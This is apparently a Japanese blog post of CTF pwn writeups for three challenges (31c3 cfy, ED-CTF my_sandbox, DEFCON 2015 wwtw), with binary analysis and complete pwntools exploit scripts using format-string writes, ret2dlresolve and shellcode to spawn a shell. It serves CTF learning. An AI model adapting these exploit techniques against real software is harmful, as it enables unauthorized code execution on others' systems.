h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その7

前回

[31c3 CTF 2014] pwn10 - cfy

ELF 64bit、動的リンク、NX有効。

 % file cfy
cfy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=f023c69bba5f53464912a2501e87fb098e19af5d, not stripped
 % checksec cfy
[*] '/home/hnoson/ctf/31c3ctf/cfy/cfy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

解析結果

long long from_dec(char *buf) {
    return strtoll(buf, NULL, 10);
}

long long from_hex(char *buf) {
    return strtoll(buf, NULL, 16);
}

long long from_ptr(char *buf) {
    return **(long long **)(buf);
}

void (*)() parsers[3] = [from_hex, from_dec, from_ptr]; // 0x601080
char buf[0x400]; // 0x6010e0

int main(void) {
    for (;;) {
        menu();
        fgets(buf, 0x400, stdin);
        if (sscanf(buf, "%d", &choice) != 1) {
            puts("sscanf failed.");
            break;
        }
        if (choice == 3) break;

        printf("\nPlease enter your number: ");
        fflush(stdout);
        fgets(buf, 0x400, stdin);
        long long res = parsers[choice](buf);
        printf("dec: %lld\n", res);
        printf("hex: %llx\n", res);
        puts("");
        fflush(stdout);
    }
    puts("have a nice day");
    return 0;
}

数値を入力して選択肢を選んでいるが数値のチェックが行われていないためアドレスのわかる関数なら任意の関数を実行することができる。自分はbufに関数のアドレスを置いてそこへのオフセットを入力することで関数を実行したが、PLTにある関数を直接呼ぶこともできるはず。printfがPLTにあるため、%p, %sでアドレスのリーク、%nで任意のアドレスへ書き込みが行える。よって、stackのアドレスをリークすることでROPを行うことができる。ただlibcが与えられていないため、リークしたアドレスからlibc内にあるsystemなどの関数をオフセットから計算することはできない(ローカルでは使っているlibcがわかるため可能)。そこでret2dlresolveによって必要な関数のアドレスを解決させる。詳しい説明はももいろテクノロジーさんの記事に譲ります。

bufに偽のシンボルテーブルを作り_dl_runtime_resolveの引数にそこへのオフセットを渡すことでsystem関数を解決させシェルを起動した。

#!/usr/bin/env python
from pwn import *

def select(num, data):
    s.sendlineafter('quit\n', str(num))
    s.sendlineafter('number: ', data)

def execute(addr, arg):
    choice = (elf.symbols['buf'] - elf.symbols['parsers'] + 0x50) >> 4
    select(str(choice), arg.ljust(0x50, '\0') + p64(addr))

def overwrite(addr, data):
    for i in range(len(data)):
        select(1, str(addr + i))
        execute(elf.symbols['printf'], '%{}x%7$hhn'.format(ord(data[i]) + 0x100))

if __name__ == '__main__':
    s = process('./cfy')

    elf = ELF('./cfy')

    pop_rdi = 0x400993
    dl_runtime_resolve = 0x4005c0

    buf_addr = 0x6010e0
    rel_base = 0x4004d8
    sym_base = 0x4002c0
    str_base = 0x4003c8

    execute(elf.symbols['printf'], '%11$p/')
    stack_addr = int(s.recvuntil('/')[:-1], 16) - 0xe0
    log.info('stack address: %#x' % stack_addr)

    select(1, str(0x601008))
    execute(elf.symbols['printf'], '%7$s/')
    link_map = u64(s.recvuntil('/')[:-1].ljust(8, '\0'))
    log.info('link map address: %#x' % link_map)

    overwrite(link_map + 0x1c8, p64(0))

    payload = ''
    payload += p64(pop_rdi) + p64(buf_addr + 0x200)
    payload += p64(dl_runtime_resolve)
    payload += p64((buf_addr + 0x110 - rel_base) // 0x18)
    overwrite(stack_addr, payload)

    payload = ''
    payload += '\0' * 0x110
    payload += p64(buf_addr)
    payload += p32(7) + p32((buf_addr + 0x150 - sym_base) // 0x18)
    payload = payload.ljust(0x150, '\0')
    payload += p32(buf_addr + 0x180 - str_base) + p32(0x12)
    payload = payload.ljust(0x180, '\0')
    payload += 'system\0'
    payload = payload.ljust(0x200, '\0')
    payload += '/bin/sh\0'
    select(0, payload)
    s.sendlineafter('quit\n', '3')
    s.recvline()
    s.interactive()

[ED-CTF] my_sandbox

常設らしいけど今は運営されていないので書きます。

ELF 32-bit、動的リンク、RELRO以外無効。libcが与えられているがおそらく古いため手元では使えない。

$ file my_sandbox
my_sandbox: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=44ab05f5782a9a5dbae69dd6acea3741c79f7b01, stripped
$ checksec my_sandbox
[*] '/home/hnoson/ctf/edctf/my_sandbox/my_sandbox'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$ ./my_sandbox
Your name please: hnoson

Welcome to my echo program!


This program has an bug.
I couldn't fix this bug... :(

But, I developed sandbox for this bug.
Hackers will never be able to get shell, haha! :)

Enter your message: %pAAAA
Entered: (nil)A

Enter your message: Entered:

FSBがある。これでlibcのアドレスをリークできる。また最初に入力する名前は.bssに格納されるため__free_hookをそのアドレスで上書きしてシェルコードを実行した。

#!/usr/bin/env python
from pwn import *

if __name__ == '__main__':
    context.arch = 'x86'
    # s = process('./my_sandbox', env = {'LD_PRELOAD': './libc.so.6'})
    s = process('./my_sandbox')

    s.sendafter('Your name please: ', asm(shellcraft.sh()))
    s.sendlineafter('Enter your message: ', '%1312$p' + 'A' * 0x10)
    libc_base = int(s.recvuntil('AAA')[len('Entered: '):-3], 16) - 0x143d20
    log.info('libc base: %#x' % libc_base)

    # libc = ELF('./libc.so.6')
    libc = ELF('/lib32/libc.so.6')

    payload = ''
    for i in range(4):
        payload += p32(libc_base + libc.symbols['__free_hook'] + i)
    prev = len(payload)
    for i in range(4):
        curr = ord(p32(0x804a040)[i])
        payload += '%{}x'.format(((curr - prev) & 0xff) + 0x100)
        payload += '%{}$hhn'.format(i + 6)
        prev = curr
    s.sendlineafter('Enter your message: ', payload)
    s.interactive()

[DEFCON CTF 2015] wibbly wobbly timey wimey - Pwnable 2

ELF 32-bit、動的リンク、RELRO以外有効。

$ file wwtw
wwtw: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=0c5fe6964f6e75a50221016235fc68a869c5cf50, stripped
$ checksec $_
[*] '/home/hnoson/ctf/defconctf/2015/wwtw/wwtw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

まず始めに(^V<>)からEを目指すゲームのようなものが現れる。これは適当にAにぶつからないようにEの方向に進めば高い確率で抜けられる。

$ ./wwtw
You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
But, most importantly, don't blink!
   012345678901234567890
00
01                   A
02       A
03
04                    E
05                A
06
07                    A
08
09
10     A             A
11     A
12
13
14
15
16
17
18          A     A
19 A ^     A
Your move (w,a,s,d,q): 

次にKEYを聞かれる。

$ ./wwtw
...
TARDIS KEY: 

0xeb8の関数を見てみると

int func() {
    for (int i = 0, n = 0; n < 10; i++) {
        char a = ((unsigned char *)func)[i] & 0x7f;
        if (isalnum(a)) {
            char b;
            read(0,&b,1);
            if (a != b) return 1;
            n++;
        }
    }
    return 0;
}

をしているのでこれをpythonに書き直して突破する。

次に進むと時間外のためアクセスできないというメッセージが出る。

$ ./exploit.py
[+] Starting local process './wwtw': pid 17449
[*] Switching to interactive mode
Welcome to the TARDIS!
Your options are:
1. Turn on the console
2. Leave the TARDIS
Selection: 1
Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT
Your options are:
1. Turn on the console
2. Leave the TARDIS
Selection: 

コードに戻ってみるとudp通信をしていることがわかる(下図参照。socketの第二引数が2なのでudp)。また、通信先は127.0.0.1:1234f:id:h_noson:20180804014242p:plain さらに読み進めるとwrite(sock, "", 1)をした後にread(sock, token, 4)をしていた。このtokenがある値の範囲にあると先ほどのAccess deniedは出ないで次に進める。CTF本番ではサーバ側からudp通信がされていたことを期待して手元からudpパケットを送った。

追記

実際にudpパケットは送られていたらしい。ただ正しい値が送られるのはCTF終了の20分前から。

オーバーフローでsockの値を書き換えられるらしいが、その後にudp通信をする部分がないと思ったら

f:id:h_noson:20180804154221p:plain

2秒おきにwrite(sock, "", 1) -> read(sock, token, 4)が繰り返されている(0x565b6bcbはその関数のアドレス)。alarmにこんな使い方があったか…
ということでsockを0に書き換えてから数秒待ち、正しいtokenを送ると認証される。

次は座標を与えると浮動小数点で表示する。

$ ./exploit.py
[+] Starting local process './wwtw': pid 19103
[*] Switching to interactive mode
Welcome to the TARDIS!
Your options are:
1. Turn on the console
2. Leave the TARDIS
Selection: $ 1
The TARDIS console is online!Your options are:
1. Turn on the console
2. Leave the TARDIS
3. Dematerialize
Selection: $ 3
Coordinates: $ 1,1
1.000000, 1.000000
You safely travel to coordinates 1,1

x座標とy座標をそれぞれ何かの値と比較している。左の分岐に行くとFSB脆弱性がある。(jpはアンダーフローしたときに分岐する。) f:id:h_noson:20180804015831p:plain デバッガでそれぞれの値を確認して入力したら左の分岐に行くことができた。

あとはFSBを使ってret2dlresolveをしてシェルを起動する。

#!/usr/bin/env python
from pwn import *

def find(field, cset):
    for i in range(20):
        for j in range(20):
            if field[i][j] in cset:
                return (i, j)

def escape():
    while s.recv(6) != 'TARDIS':
        s.recvuntil('90\n')
        field = [s.recvline(False)[3:] for i in range(20)]
        s.recvuntil('q): ')
        vi, vj = find(field, '^V<>')
        ei, ej = find(field, 'ET')

        if vi < ei and field[vi+1][vj] != 'A':
            s.sendline('s')
            continue
        if vi > ei and field[vi-1][vj] != 'A':
            s.sendline('w')
            continue
        if vj < ej and field[vi][vj+1] != 'A':
            s.sendline('d')
            continue
        if vj > ej and field[vi][vj-1] != 'A':
            s.sendline('a')
            continue

        if vi < 19 and field[vi+1][vj] != 'A':
            s.sendline('s')
            continue
        if vi > 0 and field[vi-1][vj] != 'A':
            s.sendline('w')
            continue
        if vj < 19 and field[vi][vj+1] != 'A':
            s.sendline('d')
            continue
        if vj > 0 and field[vi][vj-1] != 'A':
            s.sendline('a')
            continue

        print 'You are dead.'
        exit(1)

def enterkey():
    data = "U\x89\xe5S\x83\xec$\xe8\xdc\xfb\xff\xff\x81\xc3<A\x00\x00\xc7E\xf0\x00\x00\x00\x8d\x83\x06\xe0\xff\xff\x89\x04$\xe8\xa1\xf9\xff\xff\x8b\x83\xf0\xff\xff\xff\x8b\x00\x89"
    key = ''
    for c in data:
        c = chr(ord(c) & 0x7f)
        if c.isalnum():
            key += c
            if len(key) == 10:
                break
    s.sendlineafter('KEY: ', key)

def fsb(payload):
    coordinates = '51.492137,-0.192878 '
    s.sendlineafter('Coordinates: ', coordinates + payload)
    s.recvuntil(coordinates)
    return s.recvuntil(' is')[:-3]

def overwrite(target, data):
    for i, d in enumerate(data):
        payload = ''
        payload += p32(target + i)
        payload += '%{}x'.format(((ord(d) - 24) & 0xff) + 0x100)
        payload += '%20$hhn'
        fsb(payload)

def main():
    escape()
    enterkey()

    # I hope udp packets were being sent from localhost:1234 at the target server,
    # otherwise I can't solve it.
    # edit: I could.
    '''
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('127.0.0.1', 1234))
    _, address = sock.recvfrom(1)
    sock.sendto(p32(0x55592b70), address)
    '''

    s.sendlineafter('Selection: ', '1' * 8 + '\0')
    time.sleep(3)
    s.send(p32(0x55592b70))

    s.sendlineafter('Selection: ', '1')
    s.sendlineafter('Selection: ', '3')

    stack_addr = int(fsb('%8$p'), 16) + 0x3d8
    log.info('stack address: %#x' % stack_addr)

    text_base = int(fsb('%161$p'), 16) - 0x559
    log.info('text base: %#x' % text_base)

    dl_runtime_resolve = 0x850
    reloc_base = 0x72c
    symtab_base = 0x1e0
    strtab_base = 0x4a0
    bss = 0x5550

    payload = ''
    payload += p32(text_base + dl_runtime_resolve)
    payload += p32(bss - reloc_base)
    payload += 'A' * 4
    payload += p32(text_base + bss + 0x27)
    overwrite(stack_addr, payload)

    payload = ''
    payload += p32(bss) + p32((bss - symtab_base + 0x10 << 4) + 0x7)
    payload += 'A' * 8
    payload += p32(bss - strtab_base + 0x20)
    payload += 'B' * 0x8
    payload += p32(3)
    payload += 'system\0'
    payload += '/bin/sh\0'
    overwrite(text_base + bss, payload)

    s.sendlineafter('Coordinates: ', '0,0')
    s.recvuntil('0,0\n')

    s.interactive()

if __name__ == '__main__':
    s = process('./wwtw')
    main()

本質はret2dlresolveなのに無駄なパートが多すぎる…

3連続FSBというのも珍しい。

続き